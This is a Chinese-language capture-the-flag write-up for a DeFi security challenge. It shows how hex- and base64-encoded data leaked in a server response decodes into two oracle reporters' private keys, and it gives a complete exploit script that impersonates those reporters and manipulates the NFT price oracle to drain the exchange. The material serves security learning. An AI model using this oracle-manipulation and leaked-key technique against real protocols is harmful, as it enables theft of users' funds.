1. issue
While poking around a web service of one of the most popular DeFi projects in the space, you get a somewhat strange response from their server. Here’s a snippet:
1 2 3 4 5 6 7 8 9 HTTP/2 200 OK content-type: text/html content-language: en vary: Accept-Encoding server: cloudflare 4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35 4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34
A related on-chain exchange is selling (absurdly overpriced) collectibles called “DVNFT”, now at 999 ETH each.
This price is fetched from an on-chain oracle, based on 3 trusted reporters: 0xA732...A105
,0xe924...9D15
and 0x81A5...850c
.
Starting with just 0.1 ETH in balance, pass the challenge by obtaining all ETH available in the exchange.
目标:使用你手中的 0.1 ether 去掏空 交易所中的 所有ETH
题目链接
2. analysing 2.1 understanding of me 通读整个代码之后,理解了预言机及交易所的工作原理。我能想到的就是通过 postPrice修改货币的价格,使其售价低于我们手中的余额 0.1 ETH。但是,成为 TRUSTED_SOURCE_ROLE
成为了难点。
1 2 3 4 // 修改 msg.sender 自己的货币价格 function postPrice(string calldata symbol, uint256 newPrice) external onlyRole(TRUSTED_SOURCE_ROLE) { _setPrice(msg.sender, symbol, newPrice); }
还有一个修改售价的函数 setupInitialPrices
,但是他的权限在 INITIALIZER_ROLE
他手里,而拥有这个权力的人只有部署者有,就本题来说 拥有该权力的是 deployer
而我们作为 player
我们必然没有权力去调用这个函数。到此我就开始陷入迷茫了。。。。。要么等 deployer 修改价格,要么等 卖家自己降价。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function setupInitialPrices(address[] calldata sources, string[] calldata symbols, uint256[] calldata prices) external onlyRole(INITIALIZER_ROLE) { // Only allow one (symbol, price) per source require(sources.length == symbols.length && symbols.length == prices.length); // 确保每个地址对应一种货币 for (uint256 i = 0; i < sources.length;) { unchecked { _setPrice(sources[i], symbols[i], prices[i]); // 给 sources[i] => symbols[i] 设置一个新的价格 prices[i] ++i; } } renounceRole(INITIALIZER_ROLE, msg.sender); // 执行完 初始化价格操作之后,将回收调用者的 INITIALIZER_ROLE 角色权力 }
2.2 search for help 最后还是去网上搜了 题解
看完之后我只能说,牛的。。。。确实没注意审题,但是谁知道题目给的信息可以转为 EOA账户的私钥哇😅
转换链接
我将 转换出来的两个私钥通过 一些 手段 转成地址,发现和题目中的后两个地址一样。
也就是说我们可以冒充 '0xe92401A4d3af5E446d93D11EEc806b1462b39D15'
'0x81A5D6E50C214044bE44cA0CB057fe119097850c'
。
于是就有了解题思路:
先将题目给的信息转成私钥
冒充卖家,通过 postPrice
函数将自己货币价格改得很低
玩家player立即低价购买
冒充卖家,通过 postPrice
函数将自己货币价格改为交易所现有ETH数目的价格
玩家player出售自己购买的货币
冒充卖家,通过 postPrice
函数将自己货币价格改为 EXCHANGE_INITIAL_ETH_BALANCE
3. solving 3.1 challenge.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 it ('Execution' , async function ( ) { let code1 = "4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35" ; let code2 = "4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34" ; let chars1= code1.split (" " ); let chars2 = code2.split (" " ); let privateKey2 = "" ; let privateKey3 = "" ; for (let i = 0 ; i < chars1.length ; i++) { chars1[i] = "0x" + chars1[i]; chars1[i] = String .fromCharCode (parseInt (chars1[i])); privateKey2 += chars1[i]; } for (let i = 0 ; i < chars2.length ; i++) { chars2[i] = "0x" + chars2[i]; chars2[i] = String .fromCharCode (parseInt (chars2[i])); privateKey3 += chars2[i]; } privateKey2 = atob (privateKey2); privateKey3 = atob (privateKey3); let accountWallet2 = new ethers.Wallet (privateKey2, ethers.provider ); let accountWallet3 = new ethers.Wallet (privateKey3, ethers.provider ); await oracle.connect (accountWallet2).postPrice ('DVNFT' , 1 ) await oracle.connect (accountWallet3).postPrice ('DVNFT' , 1 ) await exchange.connect (player).buyOne ({ value : 1 , }); const newPrice = await ethers.provider .getBalance (exchange.address ) await oracle.connect (accountWallet2).postPrice ('DVNFT' ,newPrice) await oracle.connect (accountWallet3).postPrice ('DVNFT' ,newPrice) await nftToken.connect (player).approve (exchange.address , 0 ) await exchange.connect (player).sellOne (0 ); await oracle.connect (accountWallet2).postPrice ('DVNFT' ,EXCHANGE_INITIAL_ETH_BALANCE ) await oracle.connect (accountWallet3).postPrice ('DVNFT' ,EXCHANGE_INITIAL_ETH_BALANCE ) });
本题给我的启发:私钥很重要,一定要好好保管自己的私钥。还有做题的时候一定要好好看题再开始做题。